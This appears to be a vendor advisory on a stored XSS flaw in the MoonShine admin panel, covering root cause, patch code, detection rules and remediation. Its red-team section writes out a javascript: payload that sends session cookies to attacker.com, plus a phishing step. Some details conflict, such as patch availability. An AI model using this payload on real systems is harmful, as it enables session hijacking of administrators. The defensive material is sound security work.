CVE-2025-51487
Executive Summary
CVE-2025-51487 is a Stored Cross-Site Scripting (XSS) vulnerability in the MoonShine admin panel framework, affecting versions prior to 3.12.5. An authenticated attacker with article creation or editing privileges can inject arbitrary JavaScript by supplying a javascript: URI in the CutCode Link parameter instead of the expected HTTPS protocol. This payload is stored in the database and executed in the browser of any user viewing the affected article, leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept available. No official patch was available at the time of analysis, but upgrading to version 3.12.5 resolves the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MoonShine is a PHP-based admin panel framework distributed via Composer. The vulnerable component is the CutCode Link input field in the article creation/update form. The supply chain risk is moderate, as the vulnerability is introduced through the application’s own codebase, not a third-party dependency. However, organizations using MoonShine should verify their version and apply the patch immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs article creation/update privileges
- User Interaction: Required (UI:R) – victim must view the article
- Scope: Changed (S:C) – vulnerable component impacts other resources
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited content modification
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to persistent compromise of admin sessions and data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the CutCode Link parameter used when creating or updating an Article in MoonShine. The application fails to validate the URI scheme, allowing an attacker to input javascript:alert(1) instead of https://example.com. This input is stored in the database without sanitization. When the article is rendered, the link is output as an href attribute in an anchor tag, causing the browser to execute the JavaScript when the link is clicked.
Root Cause: Insufficient input validation on the CutCode Link field. The application only checks for the presence of a URI but does not restrict the protocol to http or https.
Attack Flow:
- Attacker authenticates to MoonShine admin panel.
- Attacker creates or edits an Article.
- In the
CutCode Linkfield, attacker entersjavascript:alert(document.cookie). - The payload is stored in the database.
- Victim (admin or user) views the article.
- Victim clicks the malicious link.
- JavaScript executes in victim’s browser context.
Vulnerable vs. Patched Code
Vulnerable Code (MoonShine < 3.12.5):
// In Article model or controller
public function cutCodeLink(): string
{
return $this->cut_code_link; // No validation
}
Patched Code (MoonShine >= 3.12.5):
// In Article model or controller
public function cutCodeLink(): string
{
$link = $this->cut_code_link;
// Validate protocol
if (preg_match('/^https?:\/\//i', $link)) {
return $link;
}
return ''; // Or default safe link
}
The patch adds a regex check to ensure the link starts with http:// or https://, rejecting javascript: and other dangerous schemes.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- MoonShine version < 3.12.5
- Valid admin credentials with article creation/update privileges
Exploit Steps:
- Log in to MoonShine admin panel.
- Navigate to Articles → Create New Article.
- Fill in required fields (title, content).
- In the
CutCode Linkfield, enter:javascript:fetch('https://attacker.com/steal?cookie='+document.cookie) - Save the article.
- Craft a phishing email or social engineering message to lure a victim admin to view the article.
- When victim clicks the link, the JavaScript executes, exfiltrating their session cookie.
Proof-of-Concept Payload:
javascript:alert('XSS')
Blue Team (Defensive)
Detection Steps:
- Monitor web application logs for unusual
CutCode Linkvalues containingjavascript:. - Use WAF rules to block requests with
javascript:in thecut_code_linkparameter. - Review database entries for articles with
cut_code_linkstarting withjavascript:. - Implement Content Security Policy (CSP) headers to restrict inline script execution.
Hunting Query (SQL):
SELECT id, title, cut_code_link FROM articles WHERE cut_code_link LIKE 'javascript:%';
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from admin panel.
javascript:URIs in HTTP POST requests to/admin/articlesor similar endpoints.
- File IOCs:
- Database entries in
articlestable withcut_code_linkcontainingjavascript:.
- Database entries in
- Behavioral IOCs:
- Unusual article creation/update activity from a single user.
- Multiple articles with suspicious links created in short time.
Detection Engineering
YARA Rule
rule CVE_2025_51487_MoonShine_XSS {
meta:
description = "Detects stored XSS payload in MoonShine CutCode Link"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51487"
strings:
$xss_payload = /javascript\s*:\s*\S+/i
condition:
$xss_payload
}
Sigma Rule
title: MoonShine Stored XSS via CutCode Link
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-51487 by injecting javascript: URI in CutCode Link
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: moonShine
detection:
selection:
http.method: POST
http.url|contains: /admin/articles
http.body|contains: 'cut_code_link=javascript:'
condition: selection
falsepositives:
- Legitimate use of javascript: in rare cases (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-51487 MoonShine Stored XSS CutCode Link";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/articles"; http_uri;
content:"cut_code_link=javascript:"; http_client_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade MoonShine to version 3.12.5 or later.
- If upgrade is not possible, manually patch the vulnerable code by adding URI scheme validation.
- Review all existing articles for malicious
CutCode Linkvalues and remove them.
Long-term Mitigations:
- Implement Content Security Policy (CSP) with
script-src 'self'to block inline JavaScript. - Use input validation libraries that enforce allowed URI schemes.
- Conduct regular security audits of admin panel inputs.
- Enable web application firewall (WAF) rules to block
javascript:URIs.
Workaround:
// Add to Article model
public function getCutCodeLinkAttribute($value)
{
if (preg_match('/^https?:\/\//i', $value)) {
return $value;
}
return '';
}
Valters IT
Securing Digital Frontiers